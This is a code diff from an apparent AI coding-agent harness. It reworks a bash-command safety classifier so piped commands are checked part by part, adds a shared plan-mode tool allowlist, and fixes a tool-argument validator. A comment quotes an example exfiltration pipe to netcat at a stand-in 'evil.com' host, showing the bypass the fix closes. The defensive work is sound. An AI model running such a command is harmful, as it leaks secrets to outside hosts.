73
|
-
const
|
|
74
|
-
|
|
75
|
-
"npm ",
|
|
76
|
-
"pnpm ",
|
|
77
|
-
"yarn ",
|
|
78
|
-
"npx ",
|
|
79
|
-
"node ",
|
|
80
|
-
"tsc ",
|
|
81
|
-
"eslint ",
|
|
82
|
-
"prettier ",
|
|
83
|
-
"vitest ",
|
|
84
|
-
"jest ",
|
|
85
|
-
"cargo ",
|
|
86
|
-
"go ",
|
|
87
|
-
"python ",
|
|
88
|
-
"pip ",
|
|
89
|
-
"make ",
|
|
90
|
-
"ls ",
|
|
91
|
-
"cat ",
|
|
92
|
-
"head ",
|
|
93
|
-
"tail ",
|
|
94
|
-
"wc ",
|
|
95
|
-
"echo ",
|
|
96
|
-
"mkdir ",
|
|
97
|
-
"touch ",
|
|
98
|
-
"pwd",
|
|
99
|
-
"whoami",
|
|
100
|
-
"date",
|
|
101
|
-
"which ",
|
|
102
|
-
];
|
|
103
|
-
if (safePrefixes.some((p) => cmd.startsWith(p))) {
|
|
104
|
-
return true;
|
|
105
|
-
}
|
|
87
|
+
const level = classifyBashCommand(cmd);
|
|
88
|
+
return level === "safe-read" || level === "safe-write";
|
|
106
89
|
}
|
|
107
90
|
return false;
|
|
108
91
|
}
|
|
@@ -455,20 +438,30 @@ function scanShellCommand(input) {
|
|
|
455
438
|
function classifySegment(segment) {
|
|
456
439
|
if (DANGEROUS_PATTERNS.some((p) => p.test(segment)))
|
|
457
440
|
return "dangerous";
|
|
458
|
-
|
|
459
|
-
|
|
460
|
-
|
|
461
|
-
|
|
462
|
-
//
|
|
463
|
-
//
|
|
464
|
-
//
|
|
465
|
-
//
|
|
441
|
+
// Pipe handling FIRST: every command in the pipe must independently
|
|
442
|
+
// classify as safe-read for the segment to count as safe-read. This has to
|
|
443
|
+
// run before the whole-segment SAFE_READ/SAFE_WRITE match below, because
|
|
444
|
+
// those patterns are head-anchored (e.g. /^echo\s/) and would match
|
|
445
|
+
// `echo secret | nc evil.com` on its `echo ` head while ignoring the
|
|
446
|
+
// `| nc ...` exfil tail — declaring a piped-to-network command safe-read.
|
|
447
|
+
// We did not split on `|` in the scanner because pipes are not statement
|
|
448
|
+
// boundaries; they're per-segment data flow.
|
|
466
449
|
if (segment.includes("|")) {
|
|
450
|
+
// A pipe part may be an argument-less command (`ls`, `pwd`) whose trailing
|
|
451
|
+
// space was stripped along with the `|`. Test each part both as-is (for
|
|
452
|
+
// `$`-anchored patterns like /^pwd$/) and with a trailing space appended
|
|
453
|
+
// (for `\s`-delimited patterns like /^ls\s/), so neither form is missed.
|
|
467
454
|
const parts = segment.split("|").map((p) => p.trim());
|
|
468
|
-
|
|
455
|
+
const partIsSafeRead = (p) => SAFE_READ_PATTERNS.some((re) => re.test(p) || re.test(`${p} `));
|
|
456
|
+
if (parts.every(partIsSafeRead)) {
|
|
469
457
|
return "safe-read";
|
|
470
458
|
}
|
|
459
|
+
return "unsafe";
|
|
471
460
|
}
|
|
461
|
+
if (SAFE_READ_PATTERNS.some((p) => p.test(segment)))
|
|
462
|
+
return "safe-read";
|
|
463
|
+
if (SAFE_WRITE_PATTERNS.some((p) => p.test(segment)))
|
|
464
|
+
return "safe-write";
|
|
472
465
|
return "unsafe";
|
|
473
466
|
}
|
|
474
467
|
const SAFETY_RANK = {
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Single source of truth for which tools are permitted in plan mode.
|
|
3
|
+
*
|
|
4
|
+
* Two call sites consume this:
|
|
5
|
+
* - engine.ts: filters the tool DEFINITIONS shown to the model, so the
|
|
6
|
+
* model only sees tools it's allowed to use while planning.
|
|
7
|
+
* - executor.ts: gates tool EXECUTION, refusing anything outside the set.
|
|
8
|
+
*
|
|
9
|
+
* These two lists used to be maintained separately and drifted (engine had
|
|
10
|
+
* the Task family + Bash but not TodoWrite; executor had TodoWrite but not the
|
|
11
|
+
* Task family), so the model could be shown a tool the executor would then
|
|
12
|
+
* block, or vice-versa. Keep them identical by importing this constant in
|
|
13
|
+
* both places.
|
|
14
|
+
*
|
|
15
|
+
* Membership policy: read-only tools, planning/agent tools, and
|
|
16
|
+
* non-destructive task-tracking tools. Bash is included so the model sees it;
|
|
17
|
+
* the executor additionally gates Bash to read-only commands at call time
|
|
18
|
+
* (see executor.isReadOnlyBashCommand). Write/Edit/ApplyPatch/NotebookEdit and
|
|
19
|
+
* other mutating tools are intentionally excluded.
|
|
20
|
+
*/
|
|
21
|
+
export declare const PLAN_MODE_ALLOWED_TOOLS: ReadonlySet<string>;
|
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Single source of truth for which tools are permitted in plan mode.
|
|
3
|
+
*
|
|
4
|
+
* Two call sites consume this:
|
|
5
|
+
* - engine.ts: filters the tool DEFINITIONS shown to the model, so the
|
|
6
|
+
* model only sees tools it's allowed to use while planning.
|
|
7
|
+
* - executor.ts: gates tool EXECUTION, refusing anything outside the set.
|
|
8
|
+
*
|
|
9
|
+
* These two lists used to be maintained separately and drifted (engine had
|
|
10
|
+
* the Task family + Bash but not TodoWrite; executor had TodoWrite but not the
|
|
11
|
+
* Task family), so the model could be shown a tool the executor would then
|
|
12
|
+
* block, or vice-versa. Keep them identical by importing this constant in
|
|
13
|
+
* both places.
|
|
14
|
+
*
|
|
15
|
+
* Membership policy: read-only tools, planning/agent tools, and
|
|
16
|
+
* non-destructive task-tracking tools. Bash is included so the model sees it;
|
|
17
|
+
* the executor additionally gates Bash to read-only commands at call time
|
|
18
|
+
* (see executor.isReadOnlyBashCommand). Write/Edit/ApplyPatch/NotebookEdit and
|
|
19
|
+
* other mutating tools are intentionally excluded.
|
|
20
|
+
*/
|
|
21
|
+
export const PLAN_MODE_ALLOWED_TOOLS = new Set([
|
|
22
|
+
// Plan lifecycle
|
|
23
|
+
"EnterPlanMode",
|
|
24
|
+
"ExitPlanMode",
|
|
25
|
+
// Read-only investigation
|
|
26
|
+
"Read",
|
|
27
|
+
"Glob",
|
|
28
|
+
"Grep",
|
|
29
|
+
"WebSearch",
|
|
30
|
+
"WebFetch",
|
|
31
|
+
// Agent / interaction / discovery
|
|
32
|
+
"AskUserQuestion",
|
|
33
|
+
"Agent",
|
|
34
|
+
"ToolSearch",
|
|
35
|
+
// Task tracking (non-destructive) — both the TodoWrite and the Task* family
|
|
36
|
+
"TodoWrite",
|
|
37
|
+
"TaskCreate",
|
|
38
|
+
"TaskUpdate",
|
|
39
|
+
"TaskList",
|
|
40
|
+
"TaskGet",
|
|
41
|
+
// Bash: visible to the model; executor gates it to read-only commands.
|
|
42
|
+
"Bash",
|
|
43
|
+
]);
|
|
@@ -101,7 +101,18 @@ export class ToolRegistry {
|
|
|
101
101
|
]);
|
|
102
102
|
clearTimeout(timerId);
|
|
103
103
|
parentSignal?.removeEventListener("abort", onParentAbort);
|
|
104
|
-
|
|
104
|
+
// executor 可返回纯字符串,或 { contentBlocks, result? }(view_image
|
|
105
|
+
// 用后者回传图片块)。归一化成 ToolResult:有 contentBlocks 就带上,
|
|
106
|
+
// result 始终保留一份文本镜像供 transcript / 摘要使用。
|
|
107
|
+
if (typeof result === "string") {
|
|
108
|
+
return { id, toolName: name, result };
|
|
109
|
+
}
|
|
110
|
+
return {
|
|
111
|
+
id,
|
|
112
|
+
toolName: name,
|
|
113
|
+
result: result.result ?? "(image)",
|
|
114
|
+
contentBlocks: result.contentBlocks,
|
|
115
|
+
};
|
|
105
116
|
}
|
|
106
117
|
catch (err) {
|
|
107
118
|
clearTimeout(timerId);
|
|
@@ -1,3 +1,13 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Lightweight tool input validation against a JSON Schema.
|
|
3
|
+
*
|
|
4
|
+
* NOT a full JSON-Schema validator: it only checks `required` presence and
|
|
5
|
+
* top-level primitive types (string/number/boolean). Arrays, objects, enums,
|
|
6
|
+
* nested shapes, and formats are intentionally NOT validated — this is a
|
|
7
|
+
* cheap pre-flight guard, not a substitute for the provider's own schema
|
|
8
|
+
* enforcement. (Was previously labelled "Zod-based" and imported `z`, but
|
|
9
|
+
* never used zod — corrected to avoid misleading readers.)
|
|
10
|
+
*/
|
|
1
11
|
/**
|
|
2
12
|
* Validate tool args against the tool's inputSchema.
|
|
3
13
|
* Returns null if valid, error string if invalid.
|
|
@@ -1,3 +1,13 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Lightweight tool input validation against a JSON Schema.
|
|
3
|
+
*
|
|
4
|
+
* NOT a full JSON-Schema validator: it only checks `required` presence and
|
|
5
|
+
* top-level primitive types (string/number/boolean). Arrays, objects, enums,
|
|
6
|
+
* nested shapes, and formats are intentionally NOT validated — this is a
|
|
7
|
+
* cheap pre-flight guard, not a substitute for the provider's own schema
|
|
8
|
+
* enforcement. (Was previously labelled "Zod-based" and imported `z`, but
|
|
9
|
+
* never used zod — corrected to avoid misleading readers.)
|
|
10
|
+
*/
|
|
1
11
|
/**
|
|
2
12
|
* Validate tool args against the tool's inputSchema.
|
|
3
13
|
* Returns null if valid, error string if invalid.
|
|
@@ -6,14 +16,17 @@ export function validateToolArgs(toolName, args, schema) {
|
|
|
6
16
|
try {
|
|
7
17
|
const properties = schema.properties;
|
|
8
18
|
const required = schema.required ?? [];
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
// Check
|
|
19
|
+
// Required-field presence does not depend on `properties` existing — a
|
|
20
|
+
// schema may declare `required` with no `properties` block (e.g. a
|
|
21
|
+
// malformed external MCP tool schema). Check it before the properties
|
|
22
|
+
// guard so missing params are still caught.
|
|
12
23
|
for (const field of required) {
|
|
13
24
|
if (args[field] === undefined || args[field] === null) {
|
|
14
25
|
return `Missing required parameter: ${field}`;
|
|
15
26
|
}
|
|
16
27
|
}
|
|
28
|
+
if (!properties)
|
|
29
|
+
return null; // No property shapes to type-check.
|
|
17
30
|
// Type check each provided field
|
|
18
31
|
for (const [key, value] of Object.entries(args)) {
|
|
19
32
|
const propSchema = properties[key];
|